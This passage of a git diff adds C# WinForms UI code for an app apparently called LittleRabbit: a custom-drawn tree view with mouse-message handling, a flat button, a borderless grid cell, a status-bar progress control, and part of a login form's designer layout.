public List AllNodes { get { return allNodes; } } + + #endregion + + #region //override + protected override void OnDrawNode(DrawTreeNodeEventArgs e) + { + //base.OnDrawNode(e); + DrawNodeItem(e); + } + protected override void WndProc(ref Message m) + { + if (m.Msg == 0x0201)//单击 + { + int wparam = m.LParam.ToInt32(); + Point point = new Point( + LOWORD(wparam), + HIWORD(wparam)); + //point = PointToClient(point); + TreeNode tn = this.GetNodeAt(point); + if (tn == null) + { + base.WndProc(ref m); + return; + } + if (tn.Level == 0) + { + if (tn.IsExpanded) + { + //tn.Collapse(); + } + else + { + tn.Expand(); + } + m.Result = IntPtr.Zero; + OnNodeGroupClick(new TreeViewEventArgs(tn, TreeViewAction.ByMouse)); + return; + } + else + { + base.WndProc(ref m); + //tn.IsSelected = true; + //this.SelectedNode = tn; + } + this.SelectedNode = tn; + } + else if (m.Msg == 0x0203)//双击 + { + int wparam = m.LParam.ToInt32(); + Point point = new Point( + LOWORD(wparam), + HIWORD(wparam)); + //point = PointToClient(point); + TreeNode tn = this.GetNodeAt(point); + if (tn == null) + { + base.WndProc(ref m); + return; + } + if (tn.Level == 0) + { + m.Result = IntPtr.Zero; + return; + } + else + { + base.WndProc(ref m); + } + this.SelectedNode = tn; + } + else if (m.Msg == 0x0200)//鼠标移动 + { + try + { + int wparam = m.LParam.ToInt32(); + Point point = new Point( + LOWORD(wparam), + HIWORD(wparam)); + //point = PointToClient(point); + TreeNode tn = this.GetNodeAt(point); + if (tn == null) + { + Cursor = Cursors.Default; + // this.SelectedNode = null; + base.WndProc(ref m); + return; + } + Cursor = Cursors.Hand; + //this.SelectedNode = tn; + } + catch { } + } + else if (m.Msg == 0x02A3)//鼠标移出 WM_MOUSELEAVE = $02A3; + { + // this.SelectedNode = null; + base.WndProc(ref m); + return; + } + else + { + base.WndProc(ref m); + } + //WM_LBUTTONDOWN = $0201 + //WM_LBUTTONDBLCLK = $0203; + } + #endregion + + #region //private method + /// + /// 自定义绘制节点 + /// + /// + private void DrawNodeItem(DrawTreeNodeEventArgs e) + { + TreeNode tn = e.Node; + if (tn.Level == 0) + { + using (Graphics g = e.Graphics) + { + //g.Clear(this.BackColor); // 清空画布,完整重绘时才能使用 + //g.SmoothingMode = SmoothingMode.HighQuality; // 高质量 + //g.PixelOffsetMode = PixelOffsetMode.HighQuality; // 高像素偏移质量 + //绘制分组的背景 + //RenderBackgroundInternalRate(g, + // e.Bounds, + // GroupBgColor, + // GroupBgColor, + // Color.FromArgb(200, 255, 255, 255), + // 0.45f, + // true, + // 300); + int red = GroupBgColor.R; + int green = GroupBgColor.G; + int blue = GroupBgColor.B; + if (red < 127) red += 15; else red -= 15; + if (green < 127) green += 15; else green -= 15; + if (blue < 127) blue += 15; else blue -= 15; + var color = Color.FromArgb(red, green, blue); + RenderBackgroundSolid(g, e.Bounds, color, color, color, false); + //绘制展开按扭 + //g.FillEllipse(new SolidBrush(ExpandButtonColor), ExpandButtonBounds(e.Bounds)); + //g.DrawEllipse(new Pen(Color.LightGray), ExpandButtonBounds(e.Bounds)); + //Point p1; + //Point p2; + //Point p3; + //if (tn.IsExpanded) + //{ + // p1 = new Point(ExpandButtonBounds(e.Bounds).X + 3, ExpandButtonBounds(e.Bounds).Bottom - 4); + // p2 = new Point(ExpandButtonBounds(e.Bounds).X + (ExpandButtonSize.Width) / 2, ExpandButtonBounds(e.Bounds).Top + 5); + // p3 = new Point(ExpandButtonBounds(e.Bounds).Right - 3, ExpandButtonBounds(e.Bounds).Bottom - 4); + //} + //else + //{ + // p1 = new Point(ExpandButtonBounds(e.Bounds).X + 3, ExpandButtonBounds(e.Bounds).Y + 4); + // p2 = new Point(ExpandButtonBounds(e.Bounds).X + (ExpandButtonSize.Width) / 2, ExpandButtonBounds(e.Bounds).Bottom - 5); + // p3 = new Point(ExpandButtonBounds(e.Bounds).Right - 3, ExpandButtonBounds(e.Bounds).Y + 4); + //} + //GraphicsPath gp = new GraphicsPath(); + //gp.AddLine(p1, p2); + //gp.AddLine(p2, p3); + //g.DrawPath(new Pen(Color.FromArgb(255, 150, 0, 0), 2f), gp); + + //绘制分组的文本 + TextRenderer.DrawText(g, e.Node.Text, this.GroupFont, GroupTitleBounds(e.Bounds), this.GroupTitleColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis); + } + } + else if (tn.Level == 1) + { + //e.DrawDefault = true; + + using (Graphics g = e.Graphics) + { + #region 小奶猫增加权限后,无法自动绘制TreeNode图标,经调试确认,增加此段代码 by ttzhao 2020.7.1 + if (!dicNodeImageSelect.Keys.Contains(e.Node)) + { + // 获取图标 + if (Properties.Resources.ResourceManager.GetObject(e.Node.Text + "_select") != null) + { + var bitmap = (Bitmap)Properties.Resources.ResourceManager.GetObject(e.Node.Text + "_select"); + dicNodeImageSelect[e.Node] = bitmap; + } + } + if (!dicNodeImage.Keys.Contains(e.Node)) + { + // 获取图标 + if (Properties.Resources.ResourceManager.GetObject(e.Node.Text) != null) + { + var bitmap = (Bitmap)Properties.Resources.ResourceManager.GetObject(e.Node.Text); + dicNodeImage[e.Node] = bitmap; + } + } + #endregion 小奶猫增加权限后,无法自动绘制TreeNode图标,经调试确认,增加此段代码 by ttzhao 2020.7.1 + + if (tn.IsSelected) + { + RenderBackgroundSolid(g, e.Bounds, ChildNodeSelectedBgColor, ChildNodeSelectedBgColor, ChildNodeSelectedBgColor, false); + //TextRenderer.DrawText(g, e.Node.Text, new Font(this.Font.FontFamily.Name, this.Font.Size, FontStyle.Underline), e.Bounds, OverForeColor, TextFormatFlags.Left | TextFormatFlags.VerticalCenter); + TextRenderer.DrawText(g, e.Node.Text, this.Font, ChildTitleBounds(e.Bounds), this.OverForeColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter); + + // 绘制图标 + if (dicNodeImageSelect.Keys.Contains(e.Node)) + g.DrawImage(dicNodeImageSelect[e.Node], new Rectangle(e.Bounds.X + 30, e.Bounds.Y + 8, 16, 16)); + else if (defaultNodeImageSelect != null) + g.DrawImage(defaultNodeImageSelect, new Rectangle(e.Bounds.X + 30, e.Bounds.Y + 8, 16, 16)); + } + else + { + RenderBackgroundSolid(g, e.Bounds, GroupBgColor, GroupBgColor, GroupBgColor, false); + //TextRenderer.DrawText(g, e.Node.Text, this.Font, e.Bounds, this.ForeColor, TextFormatFlags.Left | TextFormatFlags.VerticalCenter); + TextRenderer.DrawText(g, e.Node.Text, this.Font, ChildTitleBounds(e.Bounds), this.ForeColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter); + + // 绘制图标 + if (dicNodeImage.Keys.Contains(e.Node)) + g.DrawImage(dicNodeImage[e.Node], new Rectangle(e.Bounds.X + 30, e.Bounds.Y + 8, 16, 16)); + else if (defaultNodeImage != null) + g.DrawImage(defaultNodeImage, new Rectangle(e.Bounds.X + 30, e.Bounds.Y + 8, 16, 16)); + } + } + } + } + /// + /// 展开按扭区域 一级菜单后面的展开按钮 + /// + /// + /// + private Rectangle ExpandButtonBounds(Rectangle childRect) + { + Rectangle lrect = new Rectangle(new Point(childRect.Right - ExpandButtonSize.Width * 3 / 2, (childRect.Height - ExpandButtonSize.Height) / 2 + childRect.Top), ExpandButtonSize); + return lrect; + } + /// + /// 取得分组标题绘制空间 一级菜单 + /// + /// + /// + private Rectangle GroupTitleBounds(Rectangle childRect) + { + Rectangle lrect = childRect; + lrect.Width -= ExpandButtonSize.Width * 3 / 2 + 20; + //lrect.Offset(45, 0); + lrect.Offset(12, 0); + return lrect; + } + private Rectangle ChildTitleBounds(Rectangle rect) + { + Rectangle lrect = rect; + lrect.Width -= 50; + lrect.Offset(55, 0); + return lrect; + } + #endregion + + #region //draw + internal void RenderBackgroundSolid(Graphics g, Rectangle rect, Color baseColor, Color borderColor, Color innerBorderColor, bool drawBorder) + { + if (drawBorder) + { + rect.Width--; + rect.Height--; + } + using (SolidBrush brush = new SolidBrush(baseColor)) + { + g.FillRectangle(brush, rect); + } + if (drawBorder) + { + using (Pen pen = new Pen(borderColor)) + { + g.DrawRectangle(pen, rect); + } + rect.Inflate(-1, -1); + using (Pen pen = new Pen(innerBorderColor)) + { + g.DrawRectangle(pen, rect); + } + } + } + + internal void RenderBackgroundInternal(Graphics g, Rectangle rect, Color baseColor, Color borderColor, Color innerBorderColor, + float basePosition, bool drawBorder, LinearGradientMode mode) + { + if (drawBorder) + { + rect.Width--; + rect.Height--; + } + using (LinearGradientBrush brush = new LinearGradientBrush(rect, Color.Transparent, Color.Transparent, mode)) + { + Color[] colors = new Color[4]; + colors[0] = GetColor(baseColor, 0, 35, 24, 9); + colors[1] = GetColor(baseColor, 0, 13, 8, 3); + colors[2] = baseColor; + colors[3] = GetColor(baseColor, 0, 68, 69, 54); + ColorBlend blend = new ColorBlend(); + blend.Positions = new float[] { 0.0f, basePosition, basePosition + 0.05f, 1.0f }; + blend.Colors = colors; + brush.InterpolationColors = blend; + g.FillRectangle(brush, rect); + } + if (baseColor.A > 80) + { + Rectangle rectTop = rect; + if (mode == LinearGradientMode.Vertical) + { + rectTop.Height = (int)(rectTop.Height * basePosition); + } + else + { + rectTop.Width = (int)(rect.Width * basePosition); + } + using (SolidBrush brushAlpha = + new SolidBrush(Color.FromArgb(80, 255, 255, 255))) + { + g.FillRectangle(brushAlpha, rectTop); + } + } + if (drawBorder) + { + using (Pen pen = new Pen(borderColor)) + { + g.DrawRectangle(pen, rect); + } + rect.Inflate(-1, -1); + using (Pen pen = new Pen(innerBorderColor)) + { + g.DrawRectangle(pen, rect); + } + } + } + internal void RenderBackgroundInternalRate(Graphics g, Rectangle rect, Color baseColor, Color borderColor, Color innerBorderColor, + float basePosition, bool drawBorder, float rate) + { + if (drawBorder) + { + rect.Width--; + rect.Height--; + } + using (LinearGradientBrush brush = new LinearGradientBrush(rect, Color.Transparent, Color.Transparent, rate)) + { + Color[] colors = new Color[4]; + colors[0] = GetColor(baseColor, 0, 35, 24, 9); + colors[1] = GetColor(baseColor, 0, 13, 8, 3); + colors[2] = baseColor; + colors[3] = GetColor(baseColor, 0, 68, 69, 54); + ColorBlend blend = new ColorBlend(); + blend.Positions = new float[] { 0.0f, basePosition, basePosition + 0.05f, 1.0f }; + blend.Colors = colors; + brush.InterpolationColors = blend; + g.FillRectangle(brush, rect); + } + if (baseColor.A > 80) + { + Rectangle rectTop = rect; + if (true/*mode == LinearGradientMode.Vertical*/) + { + rectTop.Height = (int)(rectTop.Height * basePosition); + } + else + { + rectTop.Width = (int)(rect.Width * basePosition); + } + using (SolidBrush brushAlpha = + new SolidBrush(Color.FromArgb(80, 255, 255, 255))) + { + g.FillRectangle(brushAlpha, rectTop); + } + } + if (drawBorder) + { + using (Pen pen = new Pen(borderColor)) + { + g.DrawRectangle(pen, rect); + } + rect.Inflate(-1, -1); + using (Pen pen = new Pen(innerBorderColor)) + { + g.DrawRectangle(pen, rect); + } + } + } + + private Color GetColor(Color colorBase, int a, int r, int g, int b) + { + int a0 = colorBase.A; + int r0 = colorBase.R; + int g0 = colorBase.G; + int b0 = colorBase.B; + if (a + a0 > 255) { a = 255; } else { a = a + a0; } + if (r + r0 > 255) { r = 255; } else { r = r + r0; } + if (g + g0 > 255) { g = 255; } else { g = g + g0; } + if (b + b0 > 255) { b = 255; } else { b = b + b0; } + return Color.FromArgb(a, r, g, b); + } + private Color GetColor2(Color colorBase, int a, int r, int g, int b) + { + int a0 = colorBase.A; + int r0 = colorBase.R; + int g0 = colorBase.G; + int b0 = colorBase.B; + if (a + a0 > 255) { a = 255; } else { a = a + a0; } + if (r0 - r < 0) { r = 0; } else { r = r0 - r; } + if (g0 - g < 0) { g = 0; } else { g = g0 - g; } + if (b0 - b < 0) { b = 0; } else { b = b0 - b; } + return Color.FromArgb(a, r, g, b); + } + #endregion + + public static int LOWORD(int value) + { + return value & 0xFFFF; + } + + public static int HIWORD(int value) + { + return value >> 16; + } + + public void ExpandGroup(string groupName) + { + var node = this.AllNodes.FirstOrDefault(n => n.Name == groupName); + if (node == null) + return; + BeginUpdate(); + if (!this.Nodes.Contains(node)) + this.Nodes.Insert(0, node); + node.Expand(); + EndUpdate(); + } + } +} diff --git a/TEMUKJD/UserControls/ButtonEx.cs b/TEMUKJD/UserControls/ButtonEx.cs new file mode 100644 index 0000000..aa7a94e --- /dev/null +++ b/TEMUKJD/UserControls/ButtonEx.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserControls +{ + public partial class ButtonEx : Button + { + public ButtonEx() + { + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.ForeColor = System.Drawing.Color.White; + //this.Font = new System.Drawing.Font("华文宋体", 8.999999F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + Cursor = Cursors.Hand; + FlatAppearance.BorderSize = 0; + this.UseVisualStyleBackColor = false; + } + + /// + /// 不显示控件获焦提示 + /// + protected override bool ShowFocusCues + { + get + { + return false; + } + } + } +} diff --git a/TEMUKJD/UserControls/CustomDataGridViewTextBoxCell.cs b/TEMUKJD/UserControls/CustomDataGridViewTextBoxCell.cs new file mode 100644 index 0000000..1c91fdd --- /dev/null +++ b/TEMUKJD/UserControls/CustomDataGridViewTextBoxCell.cs @@ -0,0 +1,50 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserControls +{ + /// + /// 无边框的DataGridView单元格 + /// + public class CustomDataGridViewTextBoxCell : DataGridViewTextBoxCell + { + private DataGridViewAdvancedBorderStyle _style; + + public CustomDataGridViewTextBoxCell() : base() + { + _style = new DataGridViewAdvancedBorderStyle(); + _style.Bottom = DataGridViewAdvancedCellBorderStyle.None; + _style.Top = DataGridViewAdvancedCellBorderStyle.None; + _style.Left = DataGridViewAdvancedCellBorderStyle.None; + _style.Right = DataGridViewAdvancedCellBorderStyle.None; + } + + public DataGridViewAdvancedBorderStyle AdvancedBorderStyle + { + get { return _style; } + set + { + _style.Bottom = value.Bottom; + _style.Top = value.Top; + _style.Left = value.Left; + _style.Right = value.Right; + } + } + + protected override void PaintBorder(Graphics graphics, Rectangle clipBounds, Rectangle bounds, DataGridViewCellStyle cellStyle, DataGridViewAdvancedBorderStyle advancedBorderStyle) + { + base.PaintBorder(graphics, clipBounds, bounds, cellStyle, _style); + } + + protected override void Paint(Graphics graphics, Rectangle clipBounds, Rectangle cellBounds, int rowIndex, DataGridViewElementStates cellState, object value, object formattedValue, string errorText, DataGridViewCellStyle cellStyle, DataGridViewAdvancedBorderStyle advancedBorderStyle, DataGridViewPaintParts paintParts) + { + base.Paint(graphics, clipBounds, cellBounds, rowIndex, cellState, value, formattedValue, errorText, cellStyle, _style, paintParts); + } + + } +} \ No newline at end of file diff --git a/TEMUKJD/UserControls/StatusBarUserControl.cs b/TEMUKJD/UserControls/StatusBarUserControl.cs new file mode 100644 index 0000000..1c5d22a --- /dev/null +++ b/TEMUKJD/UserControls/StatusBarUserControl.cs @@ -0,0 +1,43 @@ +using System.Windows.Forms; + +namespace LittleRabbit.UserControls +{ + public partial class StatusBarUserControl : UserControl + { + public int Factor = 5; // 进度条扩大倍数 + + public StatusBarUserControl() + { + InitializeComponent(); + } + + public void InitProgressBar() + { + pgbTaskProgress.Value = pgbTaskProgress.Minimum; + pgbTaskProgress.Text = "0" + "/" + pgbTaskProgress.Maximum; + } + + public void UpdateProgressBar(int handleCount) + { + pgbTaskProgress.Text = handleCount + "/" + pgbTaskProgress.Maximum; + pgbTaskProgress.Value = handleCount; + } + + public void UpdateProgressBarStatus(string text) + { + lblTaskStatus.Text = text; + } + + public void FinishProgressBar(string text) + { + lblTaskStatus.Text = text; + pgbTaskProgress.Value = pgbTaskProgress.Maximum; + } + + public void CancelProgressBar(string text) + { + lblTaskStatus.Text = text; + pgbTaskProgress.Value = pgbTaskProgress.Maximum; + } + } +} diff --git a/TEMUKJD/UserControls/StatusBarUserControl.designer.cs b/TEMUKJD/UserControls/StatusBarUserControl.designer.cs new file mode 100644 index 0000000..ee1e679 --- /dev/null +++ b/TEMUKJD/UserControls/StatusBarUserControl.designer.cs @@ -0,0 +1,106 @@ +namespace LittleRabbit.UserControls +{ + partial class StatusBarUserControl + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.lblTaskStatus = new DevComponents.DotNetBar.LabelX(); + this.labelX19 = new DevComponents.DotNetBar.LabelX(); + this.pgbTaskProgress = new DevComponents.DotNetBar.Controls.ProgressBarX(); + this.SuspendLayout(); + // + // lblTaskStatus + // + this.lblTaskStatus.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.lblTaskStatus.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblTaskStatus.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblTaskStatus.Location = new System.Drawing.Point(327, 2); + this.lblTaskStatus.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.lblTaskStatus.Name = "lblTaskStatus"; + this.lblTaskStatus.Size = new System.Drawing.Size(433, 18); + this.lblTaskStatus.TabIndex = 24; + this.lblTaskStatus.Text = "准备就绪"; + // + // labelX19 + // + this.labelX19.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + // + // + // + this.labelX19.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX19.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.labelX19.Location = new System.Drawing.Point(282, 2); + this.labelX19.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.labelX19.Name = "labelX19"; + this.labelX19.Size = new System.Drawing.Size(42, 18); + this.labelX19.TabIndex = 23; + this.labelX19.Text = "状态:"; + // + // pgbTaskProgress + // + this.pgbTaskProgress.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + // + // + // + this.pgbTaskProgress.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.pgbTaskProgress.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pgbTaskProgress.Location = new System.Drawing.Point(3, 0); + this.pgbTaskProgress.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.pgbTaskProgress.Name = "pgbTaskProgress"; + this.pgbTaskProgress.Size = new System.Drawing.Size(260, 22); + this.pgbTaskProgress.TabIndex = 25; + this.pgbTaskProgress.Text = "0/0"; + this.pgbTaskProgress.TextVisible = true; + // + // StatusBarUserControl + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.pgbTaskProgress); + this.Controls.Add(this.lblTaskStatus); + this.Controls.Add(this.labelX19); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(0); + this.Name = "StatusBarUserControl"; + this.Size = new System.Drawing.Size(773, 26); + this.ResumeLayout(false); + + } + + #endregion + public DevComponents.DotNetBar.LabelX lblTaskStatus; + private DevComponents.DotNetBar.LabelX labelX19; + public DevComponents.DotNetBar.Controls.ProgressBarX pgbTaskProgress; + } +} diff --git a/TEMUKJD/UserControls/StatusBarUserControl.resx b/TEMUKJD/UserControls/StatusBarUserControl.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/UserControls/StatusBarUserControl.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/UserForm/LoginForm.Designer.cs b/TEMUKJD/UserForm/LoginForm.Designer.cs new file mode 100644 index 0000000..2961c22 --- /dev/null +++ b/TEMUKJD/UserForm/LoginForm.Designer.cs @@ -0,0 +1,424 @@ +namespace LittleRabbit.UserForm +{ + partial class LoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LoginForm)); + this.loginPanel = new DevComponents.DotNetBar.PanelEx(); + this.txtMobile = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.password = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblResetPassword = new DevComponents.DotNetBar.LabelX(); + this.remember = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.autoLogin = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.closePanel = new DevComponents.DotNetBar.PanelEx(); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.lblSignUp = new DevComponents.DotNetBar.LabelX(); + this.panelEx3 = new DevComponents.DotNetBar.PanelEx(); + this.pnlShowRemember = new DevComponents.DotNetBar.PanelEx(); + this.grpEnvironmentChoice = new System.Windows.Forms.GroupBox(); + this.rbtPrd = new System.Windows.Forms.RadioButton(); + this.rbtDev = new System.Windows.Forms.RadioButton(); + this.lblBuy = new DevComponents.DotNetBar.LabelX(); + this.lblContactSupport = new DevComponents.DotNetBar.LabelX(); + this.panelEx1.SuspendLayout(); + this.panelEx3.SuspendLayout(); + this.grpEnvironmentChoice.SuspendLayout(); + this.SuspendLayout(); + // + // loginPanel + // + this.loginPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.loginPanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.loginPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.loginPanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.loginPanel.Location = new System.Drawing.Point(133, 244); + this.loginPanel.Name = "loginPanel"; + this.loginPanel.Size = new System.Drawing.Size(194, 30); + this.loginPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.loginPanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.loginPanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.loginPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.loginPanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.loginPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.loginPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.loginPanel.Style.GradientAngle = 90; + this.loginPanel.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.loginPanel.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.loginPanel.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.loginPanel.TabIndex = 0; + this.loginPanel.Text = "安 全 登 录"; + this.loginPanel.Click += new System.EventHandler(this.loginPanel_Click); + // + // txtMobile + // + // + // + // + this.txtMobile.Border.BackColor = System.Drawing.Color.Transparent; + this.txtMobile.Border.BackColor2 = System.Drawing.Color.Transparent; + this.txtMobile.Border.BackColorGradientType = DevComponents.DotNetBar.eGradientType.Radial; + this.txtMobile.Border.BorderColor = System.Drawing.Color.White; + this.txtMobile.Border.BorderGradientAngle = 0; + this.txtMobile.Border.Class = "TextBoxBorder"; + this.txtMobile.Border.CornerDiameter = 3; + this.txtMobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.txtMobile.Location = new System.Drawing.Point(7, 4); + this.txtMobile.Name = "txtMobile"; + this.txtMobile.Size = new System.Drawing.Size(181, 25); + this.txtMobile.TabIndex = 3; + this.txtMobile.WatermarkFont = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtMobile.WatermarkText = "请输入手机号"; + // + // password + // + // + // + // + this.password.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.password.Border.BorderColor = System.Drawing.Color.White; + this.password.Border.BorderLeft = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.password.Border.BorderRight = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.password.Border.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.password.Border.Class = "TextBoxBorder"; + this.password.Border.CornerDiameter = 3; + this.password.Border.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.password.Location = new System.Drawing.Point(7, 33); + this.password.Name = "password"; + this.password.PasswordChar = '*'; + this.password.Size = new System.Drawing.Size(181, 25); + this.password.TabIndex = 5; + this.password.WatermarkFont = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.password.WatermarkText = "请输入密码"; + this.password.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.password_KeyPress); + // + // lblResetPassword + // + this.lblResetPassword.AutoSize = true; + this.lblResetPassword.BackColor = System.Drawing.Color.Transparent; + // + // + // + this.lblResetPassword.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.lblResetPassword.Cursor = System.Windows.Forms.Cursors.Hand; + this.lblResetPassword.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lblResetPassword.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(7)))), ((int)(((byte)(157)))), ((int)(((byte)(235))))); + this.lblResetPassword.Location = new System.Drawing.Point(334, 187); + this.lblResetPassword.Name = "lblResetPassword"; + this.lblResetPassword.Size = new System.Drawing.Size(56, 20); + this.lblResetPassword.TabIndex = 6; + this.lblResetPassword.Text = "找回密码"; + this.lblResetPassword.Click += new System.EventHandler(this.lblResetPassword_Click); + // + // remember + // + // + // + // + this.remember.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.remember.FocusCuesEnabled = false; + this.remember.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.remember.Location = new System.Drawing.Point(134, 215); + this.remember.Name = "remember"; + this.remember.Size = new System.Drawing.Size(80, 22); + this.remember.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.remember.TabIndex = 7; + this.remember.Text = "记住密码"; + this.remember.TextColor = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(101)))), ((int)(((byte)(101))))); + this.remember.CheckedChanged += new System.EventHandler(this.remember_CheckedChanged); + // + // autoLogin + // + // + // + // + this.autoLogin.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.autoLogin.FocusCuesEnabled = false; + this.autoLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.autoLogin.Location = new System.Drawing.Point(243, 215); + this.autoLogin.Name = "autoLogin"; + this.autoLogin.Size = new System.Drawing.Size(80, 22); + this.autoLogin.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.autoLogin.TabIndex = 8; + this.autoLogin.Text = "自动登录"; + this.autoLogin.TextColor = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(101)))), ((int)(((byte)(101))))); + this.autoLogin.Visible = false; + this.autoLogin.CheckedChanged += new System.EventHandler(this.autoLogin_CheckedChanged); + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + 